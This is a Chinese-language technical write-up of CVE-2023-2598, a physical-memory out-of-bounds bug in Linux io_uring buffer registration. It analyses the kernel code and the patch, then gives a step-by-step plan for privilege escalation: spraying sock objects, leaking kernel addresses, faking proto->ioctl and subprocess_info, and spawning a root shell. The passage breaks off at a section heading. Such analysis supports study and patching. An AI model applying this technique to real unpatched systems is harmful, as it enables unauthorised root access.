【kernel exploit】CVE-2023-2598 io_uring物理内存越界读写(伪造sock对象)
影响版本:Linux 6.3-rc1~6.3.1
测试版本:Linux-v6.3.1 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory
编译选项:
CONFIG_BINFMT_MISC=y (否则启动VM时报错)
在编译时将.config
中的CONFIG_E1000
和CONFIG_E1000E
,变更为=y。参考
注释 CONFIG_SYSTEM_TRUSTED_KEYS
/ CONFIG_SYSTEM_REVOCATION_KEYS
这两行
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v6.x/linux-6.3.1.tar.xz
$ tar -xvf linux-6.3.1.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。
漏洞描述:io_uring模块中的OOB写漏洞,可导致越界读写物理内存,漏洞位于目录 io_uring/rsrc.c
的 io_sqe_buffer_register()函数,在检查所提交的待注册page是否属于同一复合页时,仅检查了所在复合页的首页是否一致,而没有检查所提交的page是否为同一page。可以注册同一个物理页(冒充多个物理页组成的复合页),构造物理页任意长度越界读写。
补丁:patch 漏洞引入是在6.3-rc1 io_uring/rsrc: optimise registered huge pages;6.3.2 / 6.4-rc1版本中修复。
// io_uring/rsrc: check for nonconsecutive pages
diff --git a/io_uring/rsrc.c b/io_uring/rsrc.c
index ddee7adb40060..00affcf811ad9 100644
--- a/io_uring/rsrc.c
+++ b/io_uring/rsrc.c
@@ -1117,7 +1117,12 @@ static int io_sqe_buffer_register(struct io_ring_ctx *ctx, struct iovec *iov,
if (nr_pages > 1) {
folio = page_folio(pages[0]);
for (i = 1; i < nr_pages; i++) {
- if (page_folio(pages[i]) != folio) {
+ /*
+ * Pages must be consecutive and on the same folio for
+ * this to work
+ */
+ if (page_folio(pages[i]) != folio ||
+ pages[i] != pages[i - 1] + 1) { // 检查和前一个page是否为同一page
folio = NULL;
break;
}
保护机制:KASLR/SMEP/SMAP/KPTI
利用总结:利用物理页任意长度越界读写,可以任意读写其后的sock对象,通过sock->sk_data_ready
泄露内核基址,通过sock.sk_error_queue.next
泄露sock对象的堆地址,通过伪造sock.__sk_common.skc_prot->ioctl
函数指针指向call_usermodehelper_exec()函数来劫持控制流,还需要伪造subprocess_info
结构来完成利用,最终执行/bin/sh -c /bin/sh &>/dev/ttyS0 </dev/ttyS0
来提权。
- (0)初始化:绑定到CPU0、初始化
io_uring
、设置最大可打开文件数(默认为1024,nr_memfds
-映射漏洞物理页的最大可打开文件数,nr_sockets
-最大可打开的socket个数); - (1)堆喷
#nr_sockets
个sock对象;- 设置标记:设置
sk_pacing_rate
/sk_max_pacing_rate
为0xdeadbeef
;——便于确定漏洞对象后面是有效的sock
对象 - 设置文件描述符:将
sk_sndbuf
设置为j = (sockets[i] + SOCK_MIN_SNDBUF)*2
,也即(4+4544)*2 = 0x2388
;——便于确定sock
对象对应的是哪一个文件描述符
- 设置标记:设置
- (2)堆喷注册
#nr_memfds
个共享的漏洞物理页;- 创建
#nr_memfds
个匿名文件(memfd_create()
),分配1个物理页(fallocate()
);
- 创建
- (3)创建
receiver_fd
,映射receiver_buffer
内存(mmap()
),用于存放越界读取的数据和伪造的数据; - (4)遍历匿名文件,先向
io_uring
注册实现用户态与内核态内存共享;- 在固定地址
0x4247000000
处映射 65000 个连续的虚拟页(绑定该匿名文件),对应的物理页只有1个; - 向
io_uring
注册该缓冲区;
- 在固定地址
- (5)每次越界读取500个页;
- (5-1)确保
sk_pacing_rate / sk_max_pacing_rate == egg
,表示找到了sock对象; - (5-2)sock对象偏移;
- (5-3)泄露内核地址:通过
sock
对象中的sk_data_ready
指针(对应的函数是sock_def_readable()
); - (5-4)泄露sock对象对应的FD:通过
sock->sk_sndbuf
值进行泄露,以便后续劫持函数指针之后,对这个socket进行操作; - (5-5)泄露sock对象堆地址:
sock.sk_error_queue.next
值指向自身,减去该成员的偏移即为sock对象地址;
- (5-1)确保
- (6)保存
tcp_sock
以备份,在漏洞利用完成后恢复sock对象,避免内核崩溃; - (7)篡改
sock.__sk_common.skc_prot
指向伪造的proto
对象(位于sock
对象的偏移1400处); - (8)伪造
proto->ioctl
函数指针,call_usermodehelper_exec()函数,该函数可在内核空间启动一个用户态进程; - (9)伪造
subprocess_info->path
,也即"/bin/sh"
字符串(proto
对象开头,不要覆写proto->ioctl
); - (10)伪造
subprocess_info->argv
的三个参数(proto
对象的后面),也即-c /bin/sh &>/dev/ttyS0 </dev/ttyS0
等三个参数对应的字符串和指针; - (11)伪造
subprocess_info
对象(在sock
对象开头),注意subprocess_info.work.func
设置为call_usermodehelper_exec_work() 函数(负责生成我们的新进程); - (12)触发ioctl,将会触发
call_usermodehelper_exec
函数,延迟执行/bin/sh -c /bin/sh &>/dev/ttyS0 </dev/ttyS0
,即可获取一个root shell。
io_uring简介:io_uring于2019年在内核5.1中首次引入,使应用程序可以异步执行。用户能够批量提交系统调用,不会阻塞系统调用,并且减少系统调用上下文切换或字节拷贝带来的开销。可通过io_uring_register(IORING_REGISTER_BUFFERS)
来注册用户和内核的共享缓冲区。详细io_uring介绍可参见CVE-2021-41073。
1. Linux内存管理新特性-folio
1-1. 复合页
复合页引入:内核v5.16引入了内存管理特性 folio,原因是随着计算机内存越来越大,以4KB的页为基本单位显然已经不够了,于是引入了复合页(Compound Page),组合多个物理页为1个单元。例如,当采用4KB页来分配2M的内存并进行访问时,需分配512个page,操作系统需要经历512次TLB miss和512次缺页中断,才能将这2M地址空间全部映射到物理内存上;但如果使用2M的复合页,只需1次TLB miss和1次缺页中断。
分配复合页:调用__alloc_pages()分配内存时,如果分配标志GFP指定了__GFP_COMP
,内核就会将这些页组成复合页,例如__folio_alloc()就添加了__GFP_COMP
分配标志。复合页的首页被称为head page
,其余页称为tail page
,所有的tail page
都有指向head page
的指针。
问题:
- 如何表示N个page组成了一个复合页整体?
- 哪些page是head?
- 哪些page是tail?
- 共有多少个page组成复合页?
解决:在引入folio结构之前,内核采用如下方式来解决以上问题。
- 在首页的page结构体上,引入
PG_head
标记来表示head page
——page->flags |= (1UL << PG_head);
- 在其余
N-1
个页的page结构体上,将compound_head
的最后一位置1来表示tail page
——page->compound_head |= 1UL;
- 利用 _compound_head() (返回
page->compound_head
)和 PageTail() 来取出head page
和判断该page是否为tail page
。 - 利用 compound_order() 来获得复合页中的page个数。
1-2. folio结构体
问题:使用page结构来处理复合页,存在两个易引起混乱的问题,一是如果给函数传递一个tail page
的页描述符的指针,那么这个函数是应该操作这个tail page
还是把复合页作为一个整体操作?二是如果总是调用_compound_head()
获取复合页的head page
,会增大性能开销。
解决:为了解决复合页产生的问题,Linux 5.16引入了folio的概念,folio表示一个0-order页或者一个复合页的首页。只要给函数传递一个folio,函数就会操作整个复合页,没有歧义(folio肯定不是tail page
,这样就避免了这两个问题)。
folio介绍:folio本质是一个集合,是物理连续、虚拟连续的order-n个page集合,单个页也算是一个folio。folio将page中常用的字段,放在了和page同等的位置。folio vs page
struct folio {
union {
struct {
unsigned long flags;
union {
struct list_head lru;
struct {
void *__filler;
unsigned int mlock_count;
};
};
struct address_space *mapping;
pgoff_t index;
void *private;
atomic_t _mapcount;
atomic_t _refcount;
#ifdef CONFIG_MEMCG
unsigned long memcg_data;
#endif
/* private: the union with struct page is transitional */
};
struct page page;
};
...
}
struct page {
unsigned long flags;
union {
struct {
union {
struct list_head lru;
struct {
void *__filler;
unsigned int mlock_count;
};
struct list_head buddy_list;
struct list_head pcp_list;
};
struct address_space *mapping;
union {
pgoff_t index; /* Our offset within mapping. */
unsigned long share; /* share count for fsdax */
};
unsigned long private;
};
...
struct { /* Tail pages of compound page */
unsigned long compound_head; /* Bit zero is set */
};
...
}
内核代码改进:引入复合页后,需要对大量驱动代码和文件系统代码进行更改。新的内核需要两组不同的API来处理复合页。
void folio_get(struct folio *folio);
void get_page(struct page *page);
void folio_lock(struct folio *folio);
void lock_page(struct page *page);
2. 漏洞分析
漏洞根源是在注册fixed buffer
时,调用流程是 io_uring_register(IORING_REGISTER_BUFFERS) -> __io_uring_register() -> io_sqe_buffers_register() -> io_sqe_buffer_register()。注册缓冲区并锁定,专用于读写数据,这些内存空间不会被其他进程占用。
static int __io_uring_register(struct io_ring_ctx *ctx, unsigned opcode,
void __user *arg, unsigned nr_args)
__releases(ctx->uring_lock)
__acquires(ctx->uring_lock)
{
int ret;
...
switch (opcode) {
case IORING_REGISTER_BUFFERS:
ret = -EFAULT;
if (!arg)
break;
ret = io_sqe_buffers_register(ctx, arg, nr_args, NULL); // <--- io_sqe_buffers_register()
break;
...
}
}
(2)io_sqe_buffers_register() —— 遍历注册每一个buffer
int io_sqe_buffers_register(struct io_ring_ctx *ctx, void __user *arg,
unsigned int nr_args, u64 __user *tags)
{
struct page *last_hpage = NULL;
struct io_rsrc_data *data;
int i, ret;
struct iovec iov;
BUILD_BUG_ON(IORING_MAX_REG_BUFFERS >= (1u << 16));
if (ctx->user_bufs)
return -EBUSY;
if (!nr_args || nr_args > IORING_MAX_REG_BUFFERS)
return -EINVAL;
ret = io_rsrc_node_switch_start(ctx);
if (ret)
return ret;
ret = io_rsrc_data_alloc(ctx, io_rsrc_buf_put, tags, nr_args, &data);
if (ret)
return ret;
ret = io_buffers_map_alloc(ctx, nr_args);
if (ret) {
io_rsrc_data_free(data);
return ret;
}
for (i = 0; i < nr_args; i++, ctx->nr_user_bufs++) {
if (arg) {
ret = io_copy_iov(ctx, &iov, arg, i);
if (ret)
break;
ret = io_buffer_validate(&iov);
if (ret)
break;
} else {
memset(&iov, 0, sizeof(iov));
}
if (!iov.iov_base && *io_get_tag_slot(data, i)) {
ret = -EINVAL;
break;
}
ret = io_sqe_buffer_register(ctx, &iov, &ctx->user_bufs[i], // <--- io_sqe_buffer_register()
&last_hpage);
if (ret)
break;
}
(3)io_sqe_buffer_register() —— 通过 io_pin_pages() 函数锁定物理页,作为io_uring的共享内存区域,防止被换出:
static int io_sqe_buffer_register(struct io_ring_ctx *ctx, struct iovec *iov,
struct io_mapped_ubuf **pimu,
struct page **last_hpage)
{
struct io_mapped_ubuf *imu = NULL;
struct page **pages = NULL;
unsigned long off;
size_t size;
int ret, nr_pages, i;
struct folio *folio = NULL;
*pimu = ctx->dummy_ubuf;
if (!iov->iov_base)
return 0;
ret = -ENOMEM;
pages = io_pin_pages((unsigned long) iov->iov_base, iov->iov_len, // <--- io_pin_pages()
&nr_pages);
if (IS_ERR(pages)) {
ret = PTR_ERR(pages);
pages = NULL;
goto done;
}
...
}
(4)io_pin_pages() —— 作用是将用户空间的一段内存(由ubuf
和len
确定)锁定在物理内存中,并返回对应的物理页的指针数组。
struct page **io_pin_pages(unsigned long ubuf, unsigned long len, int *npages)
// ubuf - 待锁定内存的起始虚拟地址; len - 待锁定内存的长度,字节; npages - 指定一个指针,用于返回锁定的物理页的个数
// 返回值: 一个指向物理页的指针数组,如果失败,返回NULL
io_vec
结构体用于表示用户传入的缓冲区地址和大小:
struct iovec
{
void __user *iov_base; // 缓冲区起始地址
__kernel_size_t iov_len; // 缓冲区字节长度
};
(5)io_sqe_buffer_register() 接下来的代码
static int io_sqe_buffer_register(struct io_ring_ctx *ctx, struct iovec *iov,
struct io_mapped_ubuf **pimu,
struct page **last_hpage)
{
...
if (nr_pages > 1) { // 判断page数量是否大于1,是否为复合页
folio = page_folio(pages[0]); // 使用page_folio宏,将page[0]也即`head page`的page结构转化为folio结构
for (i = 1; i < nr_pages; i++) { // 遍历复合页
if (page_folio(pages[i]) != folio) { // 漏洞点!!!!! 检查每一个page的`head page`是否与复合页相同
folio = NULL; // page_folio() -> _compound_head() 返回 page->compound_head
break;
}
}
if (folio) {
unpin_user_pages(&pages[1], nr_pages - 1);
nr_pages = 1; // 所有页位于同一 folio, 则将 nr_pages 设置为1
}
}
...
}
漏洞:folio表示在物理内存、虚拟内存都连续的page集合。这里代码判断nr_pages > 1
,即是否为复合页;但是在for循环中,if (page_folio(pages[i]) != folio)
只判断了每一个page是否属于当前的复合页,没有判断这些page是否相邻(是否为同一page)。如果用户传入的都是同一物理页,则内核会认为它是一片多个页组成的连续虚拟内存。
(6)io_sqe_buffer_register() 接下来的代码
static int io_sqe_buffer_register(struct io_ring_ctx *ctx, struct iovec *iov,
struct io_mapped_ubuf **pimu,
struct page **last_hpage)
{
...
imu = kvmalloc(struct_size(imu, bvec, nr_pages), GFP_KERNEL); // 重点是 imu - io_mapped_ubuf对象
if (!imu)
goto done;
ret = io_buffer_account_pin(ctx, pages, nr_pages, imu, last_hpage);
if (ret) {
unpin_user_pages(pages, nr_pages);
goto done;
}
off = (unsigned long) iov->iov_base & ~PAGE_MASK;
size = iov->iov_len; // <---- [3] size值来自于用户态
/* store original address for later verification */
imu->ubuf = (unsigned long) iov->iov_base; // 用户可控
imu->ubuf_end = imu->ubuf + iov->iov_len;
imu->nr_bvecs = nr_pages; // folio中本值为1
*pimu = imu; // [1] imu结构体指针赋值给了pimu
ret = 0;
if (folio) { // 如果是folio,只需要1个bio_vec,非常高效
bvec_set_page(&imu->bvec[0], pages[0], size, off); // <---- [2] 传入4个参数,一是 bio_vec 结构体, 二是物理页的 head page, 三是从用户态传入的 iov->iov_len, 四是缓冲区的偏移量
goto done;
}
for (i = 0; i < nr_pages; i++) {
size_t vec_len;
vec_len = min_t(size_t, size, PAGE_SIZE - off);
bvec_set_page(&imu->bvec[i], pages[i], vec_len, off);
off = 0;
size -= vec_len;
}
done:
if (ret)
kvfree(imu);
kvfree(pages);
return ret;
}
// bvec_set_page() —— 对bv进行赋值
static inline void bvec_set_page(struct bio_vec *bv, struct page *page,
unsigned int len, unsigned int offset)
{
bv->bv_page = page;
bv->bv_len = len; // pimu->bvec[0].bv_len = iov->iov_len
bv->bv_offset = offset;
}
imu - io_mapped_ubuf
结构:表示已经注册到io_uring
中的用户态缓冲区信息。
struct io_mapped_ubuf {
u64 ubuf; // 缓冲区起始地址
u64 ubuf_end; // 缓冲区结束地址
unsigned int nr_bvecs; // 定位这段缓冲区所需的 bio_vec(s) 结构的个数
unsigned long acct_pages;
struct bio_vec bvec[]; // bio_vec(s)数组,bio_vec类似于iovec,但用于存物理内存,定义了一段连续的物理内存地址范围
};
struct bio_vec {
struct page *bv_page; // 该地址范围对应的首个page
unsigned int bv_len; // 该地址范围的长度(字节)
unsigned int bv_offset; // 相对bv_page的起始地址范围
};
[1]
- imu 值传递:imu结构体指针传给了 pimu
,pimu
来自(io_sqe_buffers_register() -> io_sqe_buffer_register())的&ctx->user_bufs[i]
参数,后续的io_uring操作都会使用这个 struct io_ring_ctx *ctx
结构体。
int io_sqe_buffers_register(struct io_ring_ctx *ctx, void __user *arg,
unsigned int nr_args, u64 __user *tags)
{
struct page *last_hpage = NULL;
struct io_rsrc_data *data;
int i, ret;
struct iovec iov;
...
for (i = 0; i < nr_args; i++, ctx->nr_user_bufs++) {
...
ret = io_sqe_buffer_register(ctx, &iov, &ctx->user_bufs[i],
&last_hpage);
...
}
}
3. 漏洞利用
3-1. 利用原语
(1)漏洞原语
利用原语:可利用io_uring_register
注册一个跨多个page的缓冲区,但是只会重复映射一个相同的物理页。在虚拟内存中是连续的,但在物理内存中并不连续,在检查此物理页是否属于复合页时,能够通过检查,因为这个物理页确实属于当前的复合页(page_folio(pages[i]) == folio
)。内核会认为这些连续的虚拟页就是连续的物理页,但实际上是分配了同一个物理页,且size值来自于用户态(虚拟内存长度 pimu->bvec[0].bv_len = iov->iov_len
),用户可控(见(6)-[3]
处代码)。可利用io_uring的其他功能,越界读写当前物理页之后的物理页。
可用对象:由于漏洞可以越界写很多页,就不需考虑对象大小和分配的问题,可利用的对象大小是不限的。例如sock
对象,包含很多函数指针:
struct sock {
struct sock_common __sk_common; /* 0 136 */ // 泄露内核基址
/* --- cacheline 2 boundary (128 bytes) was 8 bytes ago --- */
struct dst_entry * sk_rx_dst; /* 136 8 */
int sk_rx_dst_ifindex; /* 144 4 */
u32 sk_rx_dst_cookie; /* 148 4 */
socket_lock_t sk_lock; /* 152 32 */
atomic_t sk_drops; /* 184 4 */
int sk_rcvlowat; /* 188 4 */
/* --- cacheline 3 boundary (192 bytes) --- */
struct sk_buff_head sk_error_queue; /* 192 24 */
struct sk_buff_head sk_receive_queue; /* 216 24 */
struct {
atomic_t rmem_alloc; /* 240 4 */
int len; /* 244 4 */
struct sk_buff * head; /* 248 8 */
/* --- cacheline 4 boundary (256 bytes) --- */
struct sk_buff * tail; /* 256 8 */
} sk_backlog; /* 240 24 */
int sk_forward_alloc; /* 264 4 */
u32 sk_reserved_mem; /* 268 4 */
unsigned int sk_ll_usec; /* 272 4 */
unsigned int sk_napi_id; /* 276 4 */
int sk_rcvbuf; /* 280 4 */
/* XXX 4 bytes hole, try to pack */
struct sk_filter * sk_filter; /* 288 8 */
union {
struct socket_wq * sk_wq; /* 296 8 */
struct socket_wq * sk_wq_raw; /* 296 8 */
}; /* 296 8 */
struct xfrm_policy * sk_policy[2]; /* 304 16 */
/* --- cacheline 5 boundary (320 bytes) --- */
struct dst_entry * sk_dst_cache; /* 320 8 */
atomic_t sk_omem_alloc; /* 328 4 */
int sk_sndbuf; /* 332 4 */
int sk_wmem_queued; /* 336 4 */
refcount_t sk_wmem_alloc; /* 340 4 */
long unsigned int sk_tsq_flags; /* 344 8 */
union {
struct sk_buff * sk_send_head; /* 352 8 */
struct rb_root tcp_rtx_queue; /* 352 8 */
}; /* 352 8 */
struct sk_buff_head sk_write_queue; /* 360 24 */
/* --- cacheline 6 boundary (384 bytes) --- */
__s32 sk_peek_off; /* 384 4 */
int sk_write_pending; /* 388 4 */
__u32 sk_dst_pending_confirm; /* 392 4 */
u32 sk_pacing_status; /* 396 4 */
long int sk_sndtimeo; /* 400 8 */
struct timer_list sk_timer; /* 408 40 */
/* XXX last struct has 4 bytes of padding */
/* --- cacheline 7 boundary (448 bytes) --- */
__u32 sk_priority; /* 448 4 */
__u32 sk_mark; /* 452 4 */
long unsigned int sk_pacing_rate; /* 456 8 */ // <--- 可设置标记
long unsigned int sk_max_pacing_rate; /* 464 8 */ // <---
// .. many more fields
/* size: 760, cachelines: 12, members: 92 */
/* sum members: 754, holes: 1, sum holes: 4 */
/* sum bitfield members: 16 bits (2 bytes) */
/* paddings: 2, sum paddings: 6 */
/* forced alignments: 1 */
/* last cacheline: 56 bytes */
} __attribute__((__aligned__(8)));
(2)设置内存标记
设置标记:sock对象中,sk_pacing_rate
与sk_max_pacing_rate
成员可通过setsockopt(SO_MAX_PACING_RATE)
操作进行设置,对应函数为sk_setsockopt()。可通过设置特殊值来确定是否命中了sock对象,同时设置这两个值可以提高判断的准确性。其他成员(例如sk_mark
)也可以设置,但是需要CAP_NET_ADMIN
权限;还有SO_SNDBUF
- 设置 sk_sndbuf
、SO_RCVBUF
- 设置sk_rcvbuf
。
int sk_setsockopt(struct sock *sk, int level, int optname,
sockptr_t optval, unsigned int optlen)
{
struct so_timestamping timestamping;
struct socket *sock = sk->sk_socket;
struct sock_txtime sk_txtime;
int val;
int valbool;
struct linger ling;
int ret = 0;
...
case SO_MAX_PACING_RATE:
{
unsigned long ulval = (val == ~0U) ? ~0UL : (unsigned int)val;
if (sizeof(ulval) != sizeof(val) &&
optlen >= sizeof(ulval) &&
copy_from_sockptr(&ulval, optval, sizeof(ulval))) { // <---- 从用户空间取值
ret = -EFAULT;
break;
}
if (ulval != ~0UL)
cmpxchg(&sk->sk_pacing_status,
SK_PACING_NONE,
SK_PACING_NEEDED);
sk->sk_max_pacing_rate = ulval; // 设置 sk_max_pacing_rate
sk->sk_pacing_rate = min(sk->sk_pacing_rate, ulval); // 设置 sk_pacing_rate
break;
}
...
}
(3)获取sock对应描述符
获取socket描述符:命中sock对象后,还需知道这个socket描述符。也可以通过setsockopt(SO_SNDBUF)
操作将该socket的文件描述符存储到sock对象中,代码参见sk_setsockopt()。存入的值是fd + SOCK_MIN_SNDBUF
(实际写入时会乘以2),读取后解码为val / 2 - SOCK_MIN_SNDBUF
(通过getsockopt
读取)。
int sk_setsockopt(struct sock *sk, int level, int optname,
sockptr_t optval, unsigned int optlen)
{
struct so_timestamping timestamping;
struct socket *sock = sk->sk_socket;
struct sock_txtime sk_txtime;
int val;
int valbool;
struct linger ling;
int ret = 0;
...
case SO_SNDBUF:
/* Don't error on this BSD doesn't and if you think
* about it this is right. Otherwise apps have to
* play 'guess the biggest size' games. RCVBUF/SNDBUF
* are treated in BSD as hints
*/
val = min_t(u32, val, READ_ONCE(sysctl_wmem_max));
set_sndbuf:
/* Ensure val * 2 fits into an int, to prevent max_t()
* from treating it as a negative value.
*/
val = min_t(int, val, INT_MAX / 2);
sk->sk_userlocks |= SOCK_SNDBUF_LOCK;
WRITE_ONCE(sk->sk_sndbuf, // <--- val值来自用户态,这里需满足一个条件,也即val要大于宏定义 SOCK_MIN_SNDBUF 的值才会被写进 sk_sndbuf 成员中。
max_t(int, val * 2, SOCK_MIN_SNDBUF));
/* Wake up sending tasks if we upped the value. */
sk->sk_write_space(sk);
break;
...
}
// SOCK_MIN_SNDBUF 宏定义展开如下:要满足 val > SOCK_MIN_SNDBUF, 只需将socket对象的描述符加上 SOCK_MIN_SNDBUF 的值即可。在命中sock对象后,再将sk_sndbuf位置的值减去SOCK_MIN_SNDBUF就是socket对象的描述符。
// SOCK_MIN_SNDBUF = 2 * (2048 + ALIGN(sizeof(sk_buff), 1 << L1_CACHE_SHIFT)), 实际值取决于 L1_CACHE_SHIFT,本例中 L1_CACHE_SHIFT = 6, 因此 SOCK_MIN_SNDBUF = 4608
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define L1_CACHE_SHIFT 5
#define L1_CACHE_BYTES (1 << L1_CACHE_SHIFT)
#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
#define SMP_CACHE_BYTES L1_CACHE_BYTES
#define SKB_DATA_ALIGN(X) ALIGN(X, SMP_CACHE_BYTES)
#define SK_BUFF_SIZE 224
#define TCP_SKB_MIN_TRUESIZE (2048 + SKB_DATA_ALIGN(SK_BUFF_SIZE))
#define SOCK_MIN_SNDBUF (TCP_SKB_MIN_TRUESIZE * 2)
(4)泄露基址&劫持控制流
泄露内核基址&劫持控制流:sock.__sk_common
结构体中的struct proto *skc_prot
指针指向proto
对象,proto
对象中存在很多函数指针,可用于劫持控制流。
// [1] 泄露内核基址: sock对象中含有一些函数指针
struct sock {
...
void (*sk_state_change)(struct sock *); /* 672 8 */
void (*sk_data_ready)(struct sock *); /* 680 8 */
void (*sk_write_space)(struct sock *); /* 688 8 */
void (*sk_error_report)(struct sock *); /* 696 8 */
/* --- cacheline 11 boundary (704 bytes) --- */
int (*sk_backlog_rcv)(struct sock *, struct sk_buff *); /* 704 8 */
void (*sk_destruct)(struct sock *); /* 712 8 */
...
} __attribute__((__aligned__(8)));
// 例如TCP socket中,会被初始化为如下函数
sk_state_change <-> <sock_def_wakeup>,
sk_data_ready <-> <sock_def_readable>, // <--- 本EXP是用的这个函数来泄露的
sk_write_space <-> <sk_stream_write_space>,
sk_error_report <-> <sock_def_error_report>,
sk_backlog_rcv <-> <tcp_v4_do_rcv>,
sk_destruct <-> <inet_sock_destruct>
// [2] 劫持控制流
struct sock_common {
union {
__addrpair skc_addrpair; /* 0 8 */
...
struct proto * skc_prot; /* 40 8 */ // <---
possible_net_t skc_net; /* 48 8 */
......
/* size: 136, cachelines: 3, members: 25 */
/* sum members: 135 */
/* sum bitfield members: 7 bits, bit holes: 1, sum bit holes: 1 bits */
/* last cacheline: 8 bytes */
struct proto {
void (*close)(struct sock *, long int); /* 0 8 */
int (*pre_connect)(struct sock *, struct sockaddr *, int); /* 8 8 */
int (*connect)(struct sock *, struct sockaddr *, int); /* 16 8 */
int (*disconnect)(struct sock *, int); /* 24 8 */
struct sock * (*accept)(struct sock *, int, int *, bool); /* 32 8 */
int (*ioctl)(struct sock *, int, long unsigned int); /* 40 8 */ // <--- 可劫持
int (*init)(struct sock *); /* 48 8 */
void (*destroy)(struct sock *); /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
void (*shutdown)(struct sock *, int); /* 64 8 */
int (*setsockopt)(struct sock *, int, int, sockptr_t, unsigned int); /* 72 8 */
int (*getsockopt)(struct sock *, int, int, char *, int *); /* 80 8 */
....
3-2. 利用步骤
EXP复现注意点:QEMU需给足够的内存,避免mmap时内存不足;若mmap映射的内存减少,很难命中sock对象。
利用步骤:
(1)通过匿名文件映射内存,然后通过io_uring来实现用户态与内核态内存共享;
(2)执行
setsockopt(sockets[i], SOL_SOCKET, SO_MAX_PACING_RATE, &egg, sizeof(uint64_t)) < 0)
,设置sk_pacing_rate
/sk_max_pacing_rate
作为标记(0xdeadbeef
);——便于确定漏洞对象后面是sock
对象(3)执行
setsockopt(sockets[i], SOL_SOCKET, SO_SNDBUF, &j, sizeof(int)
,将sk_sndbuf
设置为j = (sockets[i] + SOCK_MIN_SNDBUF)*2
,也即(4+4544)*2 = 0x2388
;——便于确定sock
对象对应的是哪一个文件描述符(4)通过漏洞(同一物理页的连续地址映射),在io_uring操作之后,检测映射内存中是否命中了sock对象;
(5)泄露内核基址+堆地址:判断
sk_pacing_rate
/sk_max_pacing_rate
是否为正确标记值。确定命中sock对象后,通过sock对象计算距离函数指针的偏移,以此泄露sk_data_ready_off
函数地址,从而得到内核基址与sock对象的地址;通过sock
中sk_error_queue
/sk_receive_queue
可泄露sock对象地址。(6)泄露socket描述符:通过
sk_sndbuf
的值,减去SOCK_MIN_SNDBUF
的值 ,可以得到socket的描述符,以便后续劫持函数指针之后,对这个socket进行操作;(7)在修改和伪造sock内容之前,先对sock数据进行备份,在之后将其还原,某则会导致内核崩溃;
(8)为了劫持sock对象的函数指针,需伪造
proto
对象,放在sock对象之后;(9)劫持
proto->ioctl
函数指针指向call_usermodehelper_exec()函数,该函数可在内核空间启动一个用户态进程;(10)问题:
call_usermodehelper_exec()
需两个参数,(struct subprocess_info *sub_info, int wait)
,ioctl函数定义是:(*ioctl)(struct sock *, int, long unsigned int);
,它的第一个参数始终指向sock对象,无法在sock
对象开头来伪造subprocess_info对象(因为sock
开头是sock_common
,sock_common->skc_prot
和subprocess_info->path
成员重叠了),也就是说没办法直接调用ioctl去提权。并且,在proto+0x28位置为ioctl函数指针,我们需要覆盖这个函数指针完成劫持,但调用call_usermodehelper_exec
函数时,其参数subprocess_info
+ 0x28位置是所要执行的用户态程序路径,刚好与ioctl函数指针重叠,这会破坏我们的利用。int call_usermodehelper_exec(struct subprocess_info *sub_info, int wait); struct subprocess_info { struct work_struct work; /* 0 32 */ struct completion * complete; /* 32 8 */ const char * path; /* 40 8 */ // path - 指向我们可执行程序的路径 char * * argv; /* 48 8 */ // argv - 指向指针数组,每个指针指向参数 char * * envp; /* 56 8 */ // envp - 类似argv,但存储的是环境变量 /* --- cacheline 1 boundary (64 bytes) --- */ int wait; /* 64 4 */ int retval; /* 68 4 */ int (*init)(struct subprocess_info *, struct cred *); /* 72 8 */ // init - 初始化函数,设置进程凭证 void (*cleanup)(struct subprocess_info *); /* 80 8 */ // cleanup - 子进程退出时执行 void * data; /* 88 8 */ /* size: 96, cachelines: 2, members: 10 */ /* last cacheline: 32 bytes */ };
(11)可利用
work_struct
(subprocess_info
的第一个成员对象),表示一个延迟工作的对象。subprocess_info.work.func
成员是一个函数指针,延迟工作将会调用这个函数指针。调用流程是 call_usermodehelper_exec() -> queue_work() -> queue_work_on() -> __queue_work() -> insert_work() —— 加入延迟队列;实际执行时的调用流程是 call_usermodehelper_exec_work() -> user_mode_thread() -> kernel_clone() 会启动新进程来执行 call_usermodehelper_exec_async() ->kernel_execve(sub_info->path, (const char *const *)sub_info->argv, (const char *const *)sub_info->envp);
struct work_struct { atomic_long_t data; /* 0 8 */ struct list_head entry; /* 8 16 */ work_func_t func; /* 24 8 */ /* size: 32, cachelines: 1, members: 3 */ /* last cacheline: 32 bytes */ }; static void call_usermodehelper_exec_work(struct work_struct *work) // work_struct 结构属于 subprocess_info 对象,伪造好 work_struct 即可 { struct subprocess_info *sub_info = container_of(work, struct subprocess_info, work); if (sub_info->wait & UMH_WAIT_PROC) { call_usermodehelper_exec_sync(sub_info); } else { pid_t pid; /* * Use CLONE_PARENT to reparent it to kthreadd; we do not * want to pollute current->children, and we need a parent * that always ignores SIGCHLD to ensure auto-reaping. */ pid = user_mode_thread(call_usermodehelper_exec_async, sub_info, CLONE_PARENT | SIGCHLD); if (pid < 0) { sub_info->retval = pid; umh_complete(sub_info); } } }
(12)先将
proto->ioctl
指向call_usermodehelper_exec
,再将subprocess_info.work.func
指向call_usermodehelper_exec_work() 函数(负责生成我们的新进程)。由于sock
对象和subprocess_info
对象重合,所以sock.sock_common->skc_prot
和subprocess_info->path
成员重合,proto
对象开头可以放path(也即/bin/sh
字符串),但是别覆盖到proto->ioctl
。proto对象之后可以放subprocess_info->argv
参数(也即-c /bin/sh &>/dev/ttyS0 </dev/ttyS0
等三个参数对应的字符串)。(13)伪造完成后,在调用ioctl时,将会触发
call_usermodehelper_exec
函数,延迟执行/bin/sh -c /bin/sh &>/dev/ttyS0 </dev/ttyS0
,即可获取一个root shell。
4. 其他
4-1. tcp_sock
结构
结构包含关系:tcp_sock -> inet_connection_sock -> inet_sock -> sock
在v6.3-rc1中 tcp_sock
大小为2208字节(我编译的V6.3.1内核中tcp_sock
大小为2248字节),可将伪造的proto
对象放在sock
对象后面。在调用伪造的ioctl
之后需要恢复tcp_sock
,避免内核崩溃,所以需要提前保存tcp_sock
结构。
4-2. subprocess_info
设置
设置subprocess_info
